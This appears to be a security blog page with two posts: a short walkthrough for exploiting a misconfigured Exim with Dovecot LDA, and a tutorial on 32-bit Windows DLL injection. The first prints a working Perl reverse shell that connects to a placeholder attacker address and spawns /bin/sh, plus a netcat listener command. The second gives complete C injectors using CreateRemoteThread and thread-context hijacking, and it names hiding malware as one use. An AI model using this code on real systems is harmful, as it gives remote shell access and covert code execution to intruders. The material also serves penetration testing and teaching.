Exim with Dovecot LDA – RCE Exploit

About a month ago RedTeam Pentesting GmbH discovered a flaw in the example configuration of Exim when using Dovecat LDA.
The advisory can be found here: https://www.redteam-pentesting.de/en/advisories/rt-sa-2013-001/-exim-with-dovecot-typical-misconfiguration-leads-to-remote-command-execution

I tested the PoC and created a exploit to pentest it a bit faster.

Edit the following perl reverse shell script to let it connect to your own host and port and upload it to some webhosting

use Socket;$i="MY_CONNECTBACK_IP";$p=MY_CONNECTBACK_PORT;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};

Change the reverse shell script url in the exploit code and start a listener.

This can be done using netcat
ex:

nc -vvn -l -p 5555

Now the pentesting can begin.

Full exploit can be found here: http://rdtx.eu/files/exim_sender_addr_rce.py

Different methods of DLL Injection (32-bit)

What?

DLL Injection is a technique to inject your own code into a process. This makes it possible to execute code in the target process address space, gather information and change data of the target process. In this topic we will only discuss 32-bit processes.

All processes on Microsoft Windows NT based OS’s (Windows NT, Windows 2000, Windows XP, Windows Server 2003, Windows Vista, Windows 7, Windows Server 2008, Windows 8, Windows Server 2012, …) use a Virtual Address Space (VAS). This means that every process has virtually 4GB of memory available to use. More information about VAS can be found here: http://msdn.microsoft.com/en-us/library/windows/desktop/aa366912%28v=vs.85%29.aspx

An example of the memory layout of a simple hello world process:
Memory structure Memory structure

Here we can see memory is mapped from 0x00000000 to 0x7FFFFFFF. This is because by default, 0x80000000 till 0xFFFFFFFF is used by the OS.

You can see different loaded DLL’s in the screenshots like KERNEL32, ntdll, ole32, … Our goal is to force our DLL to be loaded in the memory.

Why?

DLL Injection can be used for different things, the most popular I know of are to create a game cheat, hiding malware (by injecting malware into a process or to hook function calls), extending an existing application.

How?

There are different methods to inject a DLL. In this topic we will discuss 3 methods. We will discuss the  advantages and disadvantages of each method and give code examples written in C.

  1. Using the system registry (Easy)
  2. CreateRemoteThread function (Intermediate)
  3. Using a codecave (‘Hard’)

First we will create a simple DLL which we will inject.

You can only inject a 32 bit DLL into a 32 bit process and only a 64 bit DLL into a 64 bit process.

Our DLL will be very simple Hello World DLL. An example DLL template can be found on MSDN: http://msdn.microsoft.com/en-us/library/3hxxtd06.aspx. An explanation for the values in the switch statement can be found here: http://msdn.microsoft.com/en-us/library/ms682583.aspx.

#include <Windows.h>

/* Our DLL Entrypoint */
BOOL APIENTRY DllMain( HMODULE hModule, DWORD  ul_reason_for_call, LPVOID lpReserved )
{
	switch (ul_reason_for_call)
	{
	case DLL_PROCESS_ATTACH:
		/* Show a Messagebox */
		MessageBox(NULL, "Hello World From DLL!", "Hello World", 0);
	case DLL_THREAD_ATTACH:
	case DLL_THREAD_DETACH:
	case DLL_PROCESS_DETACH:
		break;
	}

	/* must continue true to specify the action succeeded */
	return TRUE;
}

This code will show a message window with the message “Hello World From DLL!”
We will compile this DLL and name it “helloworld.dll”.

Now we will discuss the different injection methods.

Using the system registry

This is by far the easiest method available. When the operating system launches a new process it will load the specified DLL’s in the PE Header. When the process loads USER32.DLL this DLL will read the registry value of HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows\AppInit_DLLs and loads all the DLL’s in the list. This method has some disadvantages:

  • Can only be used when a new process starts.
  • Needs Administrator privileges to edit the registry value
  • Not every process loads USER32.DLL so DLL can’t be injected in all processes
  • Very easy to detect.

Because this method is fairly easy but not used in general i will not give a code example however this method can be tested manually by editting the given registry key.

CreateRemoteThread function

In this approach we will inject the DLL by creating a new thread in the target process and call the LoadLibraryA function in the new thread.

First we need to allocate memory in our target process to store the path to our DLL file. I moved the DLL file to “C:\dllinjection\helloworld.dll”. Every process has its own virtual address space. We cannot simply write data to our target process, however the OS provides an API which makes it possible. First we will call VirtualAllocEx to allocate our memory. Afterwards we use the WriteProcessMemory function to write our data to our target processs.

A code example:

#include <Windows.h>
#include <stdio.h>
#include <stdlib.h>

BOOL injectDLL(HANDLE hProcess, PCHAR szDllPath);

int main(int argc, char *argv[])
{
    DWORD dwPid = 0x0;
    HANDLE hProcess = NULL;

    /* Make sure the user passed an parameter */
    if (argc != 3)
    {
        printf("Usage: %s <pid>\n", argv[0]);
        return -1;
    }

    /* Get process ID and open the target process with the necessary permissions */
    dwPid = (DWORD) atoi(argv[1]);
    hProcess = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, FALSE, dwPid);
    if (hProcess == NULL)
    {
        printf("Could not open target process\n");
        return -1;
    }

    /* Try to inject the DLL */
    if (!injectDLL(hProcess, "C:\\dllinjection\\helloworld.dll"))
    {
        printf("Failed to inject DLL\n");
        return -1;
    }

    /* Close the handle to the target process */
    CloseHandle(hProcess)

    printf("DLL Injected\n");
    return 0;
}

BOOL injectDLL(HANDLE hProcess, PCHAR szDllPath)
{
    LPVOID pLoadLibraryA = NULL;
    HANDLE hThread = NULL;
    DWORD dwExitCode = 0x0;

    /* Allocate memory in target process to store the path to our DLL */
    LPVOID pRemoteDllPath = VirtualAllocEx(hProcess, NULL, strlen(szDllPath) + 1, MEM_COMMIT, PAGE_READWRITE);
    if (pRemoteDllPath == NULL)
        return FALSE;

    /* Write the DLL Path to our allocated memory in the target process */
    if (!WriteProcessMemory(hProcess, pRemoteDllPath, szDllPath, strlen(szDllPath) + 1, NULL))
        return FALSE;

    /* Get the address of the LoadLibraryA function */
    pLoadLibraryA = GetProcAddress(GetModuleHandle("Kernel32"), "LoadLibraryA");
    if (pLoadLibraryA == NULL)
        return FALSE;

    /* Create a thread in the target process and make it load our DLL */
    hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE) pLoadLibraryA, pRemoteDllPath, 0, NULL);
    if (hThread == NULL)
        return FALSE;

    /* Wait for the thread to exit */
    WaitForSingleObject(hThread, INFINITE);

    /* Get the return value of the LoadLibraryA function */
    GetExitCodeThread(hThread, &dwExitCode);

    /* Free our allocated memory for dll path */
    VirtualFreeEx(hProcess, pRemoteDllPath, strlen(szDllPath) + 1, MEM_COMMIT);

    /* Close the thread handle, otherwise we get a memory leak */
    CloseHandle(hThread);

    /* If LoadLibraryA succeeds it returns true otherwise false */
    return dwExitCode;
}

Now let’s test it. Fire up a 32-bit process. In my example I’ll start calc.exe.

If you are on a 64-bit OS, make sure you launch C:\Windows\SysWOW64\calc.exe. This is the 32-bit calculator application.

Open Process Explorer (http://technet.microsoft.com/en-us/sysinternals/bb896653.aspx) and find calc.exe with the corresponding PID in it.

Find PID in Process Explorer

Find PID in Process Explorer

After that execute our application with the PID as parameter.

C:\dllinjection>DLLInject.exe 900
DLL Injected

C:\dllinjection>

After we have done that, we see a messagebox popping up from the same process as calc.exe.

DLL Injected

We have successfully injected our DLL file.

This method has a few downsides:

  • A new thread gets created in the target process. This might make it detectable.
  • Some versions of Windows have Protected Processes. You will get an error when using CreateRemoteThread on protected processes.

Using a codecave

In this approach we are going to write a small piece of code to the target process (our codecave). We stop the general execution flow of a single thread and let it execute our codecave and afterwards make it return to the original execution flow of the thread.

Here is a simple flowchart explaining step-by-step what we are going to try to achieve

005a

Step 1

Write our codecave and the path to our DLL which we will inject to our target process

Step 2

Suspend the thread and set the EIP (Extended Instruction Pointer) to the start of our codecave.

The EIP is also known as the PC (Program Counter). It keeps track of the current execution point of a thread.

Step 3

Resume the thread and let it execute the codecave.

Step 4

Return to our original execution flow of our thread.

Our codecave will be written in ASM and compile it with the FASM compiler. I will create a small codecave will call LoadLibraryA and return to original EIP.

The codecave source i will inject

format PE GUI 4.0

push eax
push 0xdeadbeef
push 0xdeadbeef
pop eax
call eax
pop eax
push 0xdeadbeef
retn

Obviously all the 0xdeadbeef values in the source need to be replaced, these values can change every time. We just fill in dummy values so we can replace them later.
Compile the codecave and analyse it with Immunity Debugger (http://www.immunityinc.com/products-immdbg.shtml). Simple copy the opcodes from it and format them in a C byte-array.

Get the opcodes from Immunity debugger

Get the opcodes from Immunity debugger

After reformatting it i got this

    BYTE codecave[] = {
            0x50,                                // push eax
            0x68, 0xEF, 0xBE, 0xAD, 0xDE,        // push 0xdeadbeef
            0x68, 0xEF, 0xBE, 0xAD, 0xDE,        // push 0xdeadbeef
            0x58,                                // pop eax
            0xFF, 0xD0,                          // call eax
            0x58,                                // pop eax
            0x68, 0xEF, 0xBE, 0xAD, 0xDE,        // push 0xdeadbeef
            0xC3                                 // retn
    };

1st 0xdeadbeef will become the address of our DLL path string.
2nd 0xdeadbeef will become the address of LoadLibraryA.
3rd 0xdeadbeef will become the return address (original execution point).

Example source:

#include <Windows.h>
#include <stdio.h>
#include <stdlib.h>

BOOL codecaveInjectDLL(HANDLE hProcess, HANDLE hThread, PCHAR szDllPath);

int main(int argc, char *argv[])
{
    DWORD dwPid = 0x0;
    DWORD dwTid = 0x0;
    HANDLE hProcess = NULL;
    HANDLE hThread = NULL;

    /* Make sure the user passed the parameter */
    if (argc != 3)
    {
        printf("Usage: %s <pid> <tid>\n", argv[0]);
        return -1;
    }

    /* Get process and thread ID and open the target process and thread with the necessary permissions */
    dwPid = (DWORD) atoi(argv[1]);
    dwTid = (DWORD) atoi(argv[2]);

    hProcess = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, FALSE, dwPid);
    if (hProcess == NULL)
    {
        printf("Could not open target process\n");
        return -1;
    }

    hThread = OpenThread((THREAD_GET_CONTEXT | THREAD_SUSPEND_RESUME | THREAD_SET_CONTEXT), FALSE, dwTid);
    if (hThread == NULL)
    {
        printf("Could not open target thread: %x %x\n", dwTid, GetLastError());
        return -1;
    }

    /* Inject the DLL */
    if (!codecaveInjectDLL(hProcess, hThread, "c:\\dllinjection\\helloworld.dll"))
    {
        printf("Failed to inject DLL\n");
        return -1;
    }

    printf("DLL Injected\n");
    return 0;
}

BOOL codecaveInjectDLL(HANDLE hProcess, HANDLE hThread, PCHAR szDllPath)
{
    LPVOID pLoadLibraryA = NULL;
    DWORD dwExitCode = 0x0;
    CONTEXT ctx;
    LPVOID pRemoteCodeCave = NULL;

    /* Our codecave */
    BYTE codecave[] = {
            0x50,                                // push eax
            0x68, 0xEF, 0xBE, 0xAD, 0xDE,        // push 0xdeadbeef
            0x68, 0xEF, 0xBE, 0xAD, 0xDE,        // push 0xdeadbeef
            0x58,                                // pop eax
            0xFF, 0xD0,                          // call eax
            0x58,                                // pop eax
            0x68, 0xEF, 0xBE, 0xAD, 0xDE,        // push 0xdeadbeef
            0xC3                                 // retn
    };

    /* Allocate memory in target process to store the path to our DLL */
    LPVOID pRemoteDllPath = VirtualAllocEx(hProcess, NULL, strlen(szDllPath) + 1, MEM_COMMIT, PAGE_READWRITE);
    if (pRemoteDllPath == NULL)
        return FALSE;

    /* Allocate memory in target process to store our codecave */
    pRemoteCodeCave = VirtualAllocEx(hProcess, NULL, sizeof(codecave), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    if (pRemoteCodeCave == NULL)
        return FALSE;

    /* Get the address of the LoadLibraryA function */
    pLoadLibraryA = GetProcAddress(GetModuleHandle("Kernel32"), "LoadLibraryA");
    if (pLoadLibraryA == NULL)
        return FALSE;

    /* Temporarly suspend the thread */
    SuspendThread(hThread);

    /* Define which information we want from the thread */
    ctx.ContextFlags = CONTEXT_CONTROL;

    /* Get information about the thread */
    if (!GetThreadContext(hThread, &ctx))
        return FALSE;

    /* Replace our dummy variables with the real values */
    memcpy(&codecave[2], &pRemoteDllPath, sizeof(LPVOID));
    memcpy(&codecave[7], &pLoadLibraryA, sizeof(LPVOID));
    memcpy(&codecave[16], &(ctx.Eip), sizeof(LPVOID));

    /* Write the DLL Path to our allocated memory in the target process */
    if (!WriteProcessMemory(hProcess, pRemoteDllPath, szDllPath, strlen(szDllPath) + 1, NULL))
        return FALSE;

    /* Write our codecave to our allocated memory in the target process */
    if (!WriteProcessMemory(hProcess, pRemoteCodeCave, codecave, sizeof(codecave), NULL))
        return FALSE;

    /* Change information of the thread */
    ctx.Eip = (DWORD) pRemoteCodeCave;

    /* Define which information we want to change from the thread */
    ctx.ContextFlags = CONTEXT_CONTROL;

    /* Submit changes to the thread */
    SetThreadContext(hThread, &ctx);

    /* Resume the suspended thread */
    ResumeThread(hThread);

    return TRUE;
}

Now let’s test it. Fire up a 32-bit application again. Find the process ID and find a thread ID used by the process.

Process Explorer

I added a software interrupt opcode to my codecave to show you the codecave in our target process. This can also be done for easier debugging during the development of a more advanced codecave.
Now launch our injector and see what happens.

C:\dllinjection>DLLInject.exe 448 420
DLL Injected

C:\dllinjection>

Now Immunity Debugger pops up and shows us it has halted on our codecave.

Immunity Debugger

Our codecave looks great. Now resume the thread. And we see that our DLL has injected succesfully.

DLL Injected

Again this method has some disadvantages.

  • You need to change the context of a thread. Some AV’s might find it suspicious.
  • You need some beginner knowledge of ASM to develop the codecave.
  • You don’t get the return value of LoadLibraryA function in my example, however it is possible to get the return value.

Conclusion

There are many different method and approaches to inject a DLL. The best solution depends on your needs.